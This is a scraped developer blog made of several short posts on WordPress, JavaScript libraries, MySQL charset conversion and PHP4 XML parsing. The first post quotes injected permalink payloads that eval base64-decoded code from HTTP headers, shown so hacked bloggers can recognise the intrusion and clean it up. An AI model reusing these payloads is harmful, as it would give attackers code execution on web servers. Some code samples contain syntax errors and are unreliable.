blah/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/

Or this:

“/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_EXECCODE%5D))%7D%7D|.+)&%

Or your feed crapped like this:

error on line 22 at column 71: xmlParseEntityRef: no name wordpress

Do not panic – you’re hacked. And there is three steps to get rid of it.

1) Restore your permalinks
Go to Admin panel -> Settings -> Permalinks.
Set your permalink structure to whatever it was earlier. If you don’t even imagine what it was – you can always ask google for it – just like this: site:yourblogurl.com – and you’ll see the answer in the links to your site.

2) Kill the intruder(s)
Go to your preferred mysql administration tool (say, MySqlAdmin) and run this code in the SQL window:

SELECT * FROM `wp_usermeta`
WHERE `meta_value` LIKE '%script%'

You’ll see the list of records, write down user_ids of those guys.
Go to Admin panel -> Users -> Authors & Users, copy the edit link for any user, it’ll be somethings like:

http://yourblogurl.com/wp-admin/user-edit.php?user_id=14&wp_http_referer=%2Fwp-admin%2Fusers.php

Then paste it into address line, and change user_id=XX to the first user_id you wrote. Go.
Replace First name with whatever you want (for example “z”), insert “motherfncker@test.com” into Email field (or whatever, but remember it, you’ll need it later) and set the Role into Subscriber. Push Update user. Then repeat with the next one in your user_ids list. After you finished – just type in into the search line word “motherfncker” (or whatever you set emails to). Now – just delete bastards!

3) Defend the base
Just upgrade your wordpress. If you will do it periodically – there will be no such problems at all!

If you do not have ability to use some SQL tool – you can try to blind find bastards:
Go to Admin panel -> Users -> Authors & Users
Note the number of Admin users (right under “Users” header). One of them is you, all others – bastard ones
Try to find max. user_id in the list by hovering your mouse over links. Then copy the edit link of the user with topmost ID, insert it into address line, change it to next number and go. Did not work? Try the next number. Or previous one. You can even loop through all IDs not in use. And when you’ll find him – you know what to do!

Related posts

• WordPress Dashboard problem fix (0)
• WordPress 2.2.1 (0)
• WordPress 2 updated (0)
• War Against SPam – WASP! (0)
• War Against SPam – step two! (0)

There is a good example of using nested Scriplaculous Sortables. With one little flaw – Scriplaculous ver 1.6.x is used, and when you try to execute the code with newer version of library – sections.each is not a function error pops up.

Here is the way to fix it – you’ll probably need it if you want to save the results

Just replace “document.getElementsByClassName(’section’);” to “$$(‘.section’);”

Before

function getGroupOrder() {
	var sections = document.getElementsByClassName('section');
	var alerttext = '';
	sections.each(function(section) {
		var sectionID = section.id;
		var order = Sortable.serialize(sectionID);
		alerttext += sectionID + ': ' + Sortable.sequence(section) + '\n';
	});
	alert(alerttext);
	return false;
}

After

function getGroupOrder() {
	var sections = $$('.section');
	var alerttext = '';
	sections.each(function(section) {
		var sectionID = section.id;
		var order = Sortable.serialize(sectionID);
		alerttext += sectionID + ': ' + Sortable.sequence(section) + '\n';
	});
	alert(alerttext);
	return false;
}

Then modify it for your needs and go on )

What was that?
Quote:

As of Prototype 1.6, document.getElementsByClassName has been deprecated since native implementations return a NodeList rather than an Array.

Related posts

• youthumb – another video plugin (0)
• UTF-8 fix – when charset is set to Latin1 (0)
• Scrap (0)
• PHP 4 and XML (0)
• Fixed BoxOver js library (3)

Today I used to find an strange bug in pretty little fine-looking-hints library, called BoxOver from here. As you know, for the chars ", [ and ] with this library you must use ", [[ and ]] to display… It works, but only once for brackets.

So, I tried to find a fix… None found. At the forum some guy gave an ugly fix with &rbr; and so on…

Shame on you guys, did you ever heard of regexp syntax?

Here’s the BoxOver library with fixed [ and ] brackets display:

Download BoxOver 2.1a javascript library (28th May 2008)

BTW, when I tried to register on forum to post my fix – I can’t – because of captcha insult, and that’s why I posted it here.

Related posts

• youthumb – another video plugin (0)
• Wanna buy a PLIGG? (0)
• UTF-8 fix – when charset is set to Latin1 (0)
• Sendmail for Windows Freeware (0)
• Scrap (0)

Firefox plugin User Agent Switcher 

But check out Safari 3.1 for Windows. Preferences => Advanced tab, enable Develop menu and – voila! – you have all you want and many more things. Actually it remembered me FireBug extension for FireFox.

Enjoy

Related posts

• No related posts.

Shit.

Related posts

• Sendmail for Windows Freeware (0)
• Fixed BoxOver js library (3)
• BlogJet (0)
• BlogDesk software (1)
• 3D cover design in two clicks (1)

Check this out.

If all you see – is your browser’s “not found” page – well, bad luck! All others – welcome to the club!

Related posts

• youthumb – another video plugin (0)
• Fixed BoxOver js library (3)
• Feed ShowZ plugin update (0)
• Feed ShowZ plugin for WordPress 2.x (0)
• Developers versus clients (0)

P.S. For MySql5 all works great…

Related posts

• youthumb – another video plugin (0)
• What to do if your blog was hacked by evil eval (0)
• Fixed BoxOver js library (3)
• Feed ShowZ plugin update (0)
• Feed ShowZ plugin for WordPress 2.x (0)

Now you want it back, and your pages are utf-8 encoded, but when you queries the base, �?’ sign returned instead of your cute symbols. Shit.

Never mind, if you can see those chars with PhpMyAdmin – I’ll help you to convert them to use them.

First, mysql5 seems to be utf-8 lover (even if other charset is claimed). So – it’s simple. Just exec SET NAMES utf8 right after database initialisation.

Second, query all the data you need into array.

Third, just do utf8_encode on data with your loved scrap

Forth, exec SET NAMES latin1

Fifth – write your data back

Sixth – tell your application to use utf8_decode when reading and utf8_encode when writing those data.

That’s all – now you can easilly transfer your data to MySQL4* or MySQL5 servers – and your app will work there!

Example:

// init skipped 
 
/*********************************** 
 * Database connect 
 **********************************/ 
$o_db = new myDB(DB::connect(DB_DSN)); 
$o_db->db_setFetchMode(DB_FETCHMODE_ASSOC); 
$o_db->db_query('SET NAMES utf8'); 
 
$q = 'SELECT page_id, page_head_title, page_head_description, page_head_keywords 
  FROM '.DB_PREFIX.'pages 
'; 
foreach ($page as $k => $p) 
  foreach (array('page_head_title', 'page_head_description', 'page_head_keywords') as $field) 
    $page[$k][$field] = utf8_encode($p[$field]); 
$o_db->db_query('SET NAMES latin1'); 
 
foreach ($page as $p) 
{ 
  $up = 'UPDATE '.DB_PREFIX.'pages 
    SET 
    page_head_title = '.$o_db->db_quote($p['page_head_title']).', 
    page_head_description = '.$o_db->db_quote($p['page_head_description']).', 
    page_head_keywords = '.$o_db->db_quote($p['page_head_keywords']).', 
    WHERE page_id = '.$o_db->db_quote($p['page_id']).' 
  '; 
  $o_db->db_query($up); 
}

*see next post

Related posts

• youthumb – another video plugin (0)
• What to do if your blog was hacked by evil eval (0)
• Fixed BoxOver js library (3)
• Feed ShowZ plugin update (0)
• Feed ShowZ plugin for WordPress 2.x (0)

Ok, I upgraded all the blogs with my plugs, and let’s see what happens.

Related posts

• WordPress Dashboard problem fix (0)
• WordPress 2 updated (0)
• What to do if your blog was hacked by evil eval (0)
• New WordPress version (0)
• New Wordpress (0)

Just another little quote:

We were under the understanding that coding would have been complete and we were to have seen your work late last week

Yeah, right. Do you mean next week?

Related posts

• youthumb – another video plugin (0)
• UTF-8 fix – when charset is set to Latin1 (0)
• Scrap (0)
• PHP 4 and XML (0)
• Fixed BoxOver js library (3)

Php 4 had no human usable XML handling implementation.
And almost all libraries it’s a mess…

I found one good article about it, but it’s in russian.
OK, I’ll try to translate it later (maybe only examples  )

And as for me – I found what i wanted. Small and effective library.

Here it is under more tag

<?php
 $p ="&" new xmlparser();
 $p->parse("/* XML file*/");
 print_r($p->output);
 
class xmlParser{
   var $xml_obj = null;
   var $output = array();
   var $attrs;
 
   function xmlParser(){
       $this->xml_obj = xml_parser_create();
       xml_set_object($this->xml_obj,$this);
       xml_set_character_data_handler($this->xml_obj, 'dataHandler');
       xml_set_element_handler($this->xml_obj, "startHandler", "endHandler");
   }
 
   function parse($path){
       if (!($fp = fopen($path, "r"))) {
           die("Cannot open XML data file: $path");
           return false;
       }
 
       while ($data = fread($fp, 4096)) {
           if (!xml_parse($this->xml_obj, $data, feof($fp))) {
               die(sprintf("XML error: %s at line %d",
               xml_error_string(xml_get_error_code($this->xml_obj)),
               xml_get_current_line_number($this->xml_obj)));
               xml_parser_free($this->xml_obj);
           }
       }
 
       return true;
   }
 
   function startHandler($parser, $name, $attribs){
        $_content = array();
        $_content['name'] = $name;
        if(!empty($attribs))
            $_content['attrs'] = $attribs;
        array_push($this->output, $_content);
}
 
   function dataHandler($parser, $data){
        if(!empty($data) && $data!="\n") {
            $_output_idx = count($this->output) - 1;
            $this->output[$_output_idx]['content'] .= $data;
        }
   }
 
   function endHandler($parser, $name){
        if(count($this->output) > 1) {
            $_data = array_pop($this->output);
            $_output_idx = count($this->output) - 1;
            $add = array();
            if(!$this->output[$_output_idx]['child'])
                $this->output[$_output_idx]['child'] = array();
            array_push($this->output[$_output_idx]['child'], $_data);
        }  
   }
}
?>

Related posts

• youthumb – another video plugin (0)
• Fixed BoxOver js library (3)
• Feed ShowZ plugin update (0)
• Feed ShowZ plugin for WordPress 2.x (0)
• Developers versus clients (0)